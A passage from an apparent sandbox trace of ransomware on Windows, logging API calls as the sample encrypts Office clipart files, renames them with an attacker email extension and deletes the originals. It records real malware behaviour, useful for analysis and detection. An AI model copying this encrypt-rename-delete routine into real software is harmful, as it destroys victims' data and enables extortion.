nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xe8c, lpOverlapped=0x0) returned 1 [0167.900] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe90, lpOverlapped=0x0) returned 1 [0167.901] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.901] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.901] SetEndOfFile (hFile=0x39c) returned 1 [0167.903] CloseHandle (hObject=0x39c) returned 1 [0167.906] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.906] SetEndOfFile (hFile=0x368) returned 1 [0167.910] CloseHandle (hObject=0x368) returned 1 [0167.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0167.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.913] lstrlenW (lpString=".doc") returned 4 [0167.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.913] lstrlenW (lpString=".docx") returned 5 [0167.913] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.913] lstrlenW (lpString=".pdf") returned 4 [0167.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString=".xls") returned 4 [0167.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.914] lstrlenW (lpString=".xlsx") returned 5 [0167.914] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.914] lstrlenW (lpString=".ppt") returned 4 [0167.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.914] lstrlenW (lpString=".zip") returned 4 [0167.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.914] lstrlenW (lpString=".rar") returned 4 [0167.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString=".bz2") returned 4 [0167.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString=".7z") returned 3 [0167.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.914] lstrlenW (lpString=".dbf") returned 4 [0167.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.914] lstrlenW (lpString=".1cd") returned 4 [0167.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.914] lstrlenW (lpString=".jpg") returned 4 [0167.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.914] lstrlenW (lpString=".doc") returned 4 [0167.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString=".docx") returned 5 [0167.914] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.914] lstrlenW (lpString=".pdf") returned 4 [0167.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString=".xls") returned 4 [0167.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.914] lstrlenW (lpString=".xlsx") returned 5 [0167.914] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.914] lstrlenW (lpString=".ppt") returned 4 [0167.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.914] lstrlenW (lpString=".zip") returned 4 [0167.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.914] lstrlenW (lpString=".rar") returned 4 [0167.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString=".bz2") returned 4 [0167.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString=".7z") returned 3 [0167.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.914] lstrlenW (lpString=".dbf") returned 4 [0167.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.914] lstrlenW (lpString=".1cd") returned 4 [0167.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0167.914] lstrlenW (lpString=".jpg") returned 4 [0167.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.915] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.915] lstrlenW (lpString="J0107482.WMF") returned 12 [0167.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.919] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4980) returned 1 [0167.919] CloseHandle (hObject=0x39c) returned 1 [0167.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 0x220 [0167.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.924] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.924] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.932] GetLastError () returned 0x0 [0167.932] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1374, lpOverlapped=0x0) returned 1 [0167.933] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1380, lpOverlapped=0x0) returned 1 [0167.934] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.934] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.934] SetEndOfFile (hFile=0x308) returned 1 [0167.936] CloseHandle (hObject=0x308) returned 1 [0167.937] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.937] SetEndOfFile (hFile=0x378) returned 1 [0167.940] CloseHandle (hObject=0x378) returned 1 [0167.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.944] lstrlenW (lpString=".doc") returned 4 [0167.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.944] lstrlenW (lpString=".docx") returned 5 [0167.944] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.944] lstrlenW (lpString=".pdf") returned 4 [0167.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.944] lstrlenW (lpString=".xls") returned 4 [0167.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.944] lstrlenW (lpString=".xlsx") returned 5 [0167.944] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.944] lstrlenW (lpString=".ppt") returned 4 [0167.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.944] lstrlenW (lpString=".zip") returned 4 [0167.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.944] lstrlenW (lpString=".rar") returned 4 [0167.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.944] lstrlenW (lpString=".bz2") returned 4 [0167.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.944] lstrlenW (lpString=".7z") returned 3 [0167.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.944] lstrlenW (lpString=".dbf") returned 4 [0167.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.944] lstrlenW (lpString=".1cd") returned 4 [0167.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.944] lstrlenW (lpString=".jpg") returned 4 [0167.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.944] lstrlenW (lpString=".doc") returned 4 [0167.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.944] lstrlenW (lpString=".docx") returned 5 [0167.944] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.944] lstrlenW (lpString=".pdf") returned 4 [0167.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.945] lstrlenW (lpString=".xls") returned 4 [0167.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.945] lstrlenW (lpString=".xlsx") returned 5 [0167.945] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.945] lstrlenW (lpString=".ppt") returned 4 [0167.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.945] lstrlenW (lpString=".zip") returned 4 [0167.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.945] lstrlenW (lpString=".rar") returned 4 [0167.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.945] lstrlenW (lpString=".bz2") returned 4 [0167.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.945] lstrlenW (lpString=".7z") returned 3 [0167.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.945] lstrlenW (lpString=".dbf") returned 4 [0167.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.945] lstrlenW (lpString=".1cd") returned 4 [0167.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0167.945] lstrlenW (lpString=".jpg") returned 4 [0167.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.945] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.945] lstrlenW (lpString="J0107492.WMF") returned 12 [0167.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.952] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6860) returned 1 [0167.952] CloseHandle (hObject=0x330) returned 1 [0167.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 0x220 [0167.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.958] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.958] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.965] GetLastError () returned 0x0 [0167.965] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1acc, lpOverlapped=0x0) returned 1 [0167.967] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0167.968] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.968] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.968] SetEndOfFile (hFile=0x2ec) returned 1 [0167.970] CloseHandle (hObject=0x2ec) returned 1 [0167.971] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.971] SetEndOfFile (hFile=0x39c) returned 1 [0167.975] CloseHandle (hObject=0x39c) returned 1 [0167.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0167.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.978] lstrlenW (lpString=".doc") returned 4 [0167.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.978] lstrlenW (lpString=".docx") returned 5 [0167.978] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.978] lstrlenW (lpString=".pdf") returned 4 [0167.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.978] lstrlenW (lpString=".xls") returned 4 [0167.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.978] lstrlenW (lpString=".xlsx") returned 5 [0167.978] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.978] lstrlenW (lpString=".ppt") returned 4 [0167.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.978] lstrlenW (lpString=".zip") returned 4 [0167.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.978] lstrlenW (lpString=".rar") returned 4 [0167.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.978] lstrlenW (lpString=".bz2") returned 4 [0167.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.978] lstrlenW (lpString=".7z") returned 3 [0167.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.978] lstrlenW (lpString=".dbf") returned 4 [0167.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.979] lstrlenW (lpString=".1cd") returned 4 [0167.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.979] lstrlenW (lpString=".jpg") returned 4 [0167.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.979] lstrlenW (lpString=".doc") returned 4 [0167.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.979] lstrlenW (lpString=".docx") returned 5 [0167.979] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.979] lstrlenW (lpString=".pdf") returned 4 [0167.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.979] lstrlenW (lpString=".xls") returned 4 [0167.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.979] lstrlenW (lpString=".xlsx") returned 5 [0167.979] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.979] lstrlenW (lpString=".ppt") returned 4 [0167.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.979] lstrlenW (lpString=".zip") returned 4 [0167.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.979] lstrlenW (lpString=".rar") returned 4 [0167.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.979] lstrlenW (lpString=".bz2") returned 4 [0167.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.979] lstrlenW (lpString=".7z") returned 3 [0167.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.979] lstrlenW (lpString=".dbf") returned 4 [0167.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.979] lstrlenW (lpString=".1cd") returned 4 [0167.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0167.979] lstrlenW (lpString=".jpg") returned 4 [0167.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.979] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.979] lstrlenW (lpString="J0107502.WMF") returned 12 [0167.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.985] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10836) returned 1 [0167.985] CloseHandle (hObject=0x330) returned 1 [0167.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 0x220 [0167.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.992] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.992] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.003] GetLastError () returned 0x0 [0168.003] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2a54, lpOverlapped=0x0) returned 1 [0168.006] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2a60, lpOverlapped=0x0) returned 1 [0168.009] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, 